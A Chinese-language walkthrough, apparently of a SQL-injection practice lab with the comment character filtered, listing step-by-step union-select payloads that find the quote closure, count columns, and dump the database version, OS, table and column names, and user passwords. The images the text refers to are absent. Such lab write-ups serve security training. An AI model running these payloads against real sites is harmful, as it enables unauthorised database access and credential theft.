1、判断闭合方式
输入语句
?id=1'
,返回页面如下:
我们猜测闭合方式是'。我们接下来输入语句
?id=1' --+
,返回页面如下:
我们有添加了),但是仍然报错,这时我们怀疑注释符被屏蔽了。
我们输入语句
?id=1' and '1'='1
,返回页面如下:
说明闭合方式是',并且注释符被屏蔽了。
2、判断回显位
我们发现这里好像有回显,我们输入语句
id=1' union select null,null,null,null and '1'='1
,返回页面如下:
但是如果是3个null,那么不会报错,这说明总共有3个注入位置。
接下来,我们看一下,那个位置可以进行回显。输入语句
?id=-1' union select 1,2,3 and '1'='1
,返回页面如下:
这说明只有第一个和第二个位置是回显位,我们只需要在这两个位置进行注入就行。其实只有第二个是回显位,第一个也不是。
3、爆破数据库名、用户名、版本、操作系统、数据库地址
输入语句
?id=-1' union select 3,concat(@@datadir,'~',@@version_compile_os,'~',database(),'~',user(),'~',version()),3 and '1'='1
,返回页面如下:
4、爆破数据表名
输入语句
?id=-1' union select 3,group_concat(table_name),3 from information_schema.tables where table_schema=database() and '1'='1
,返回页面如下:
5、爆破列名
输入语句
?id=-1' union select 3,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() and '1'='1
,返回页面如下:
6、爆破字段内容
输入语句
?id=-1' union select 1,(select group_concat(concat(id,'-',username,'-',password)) from users),2 and '1'='1
,返回页面如下:
到此打靶结束
使用报错注入也可以。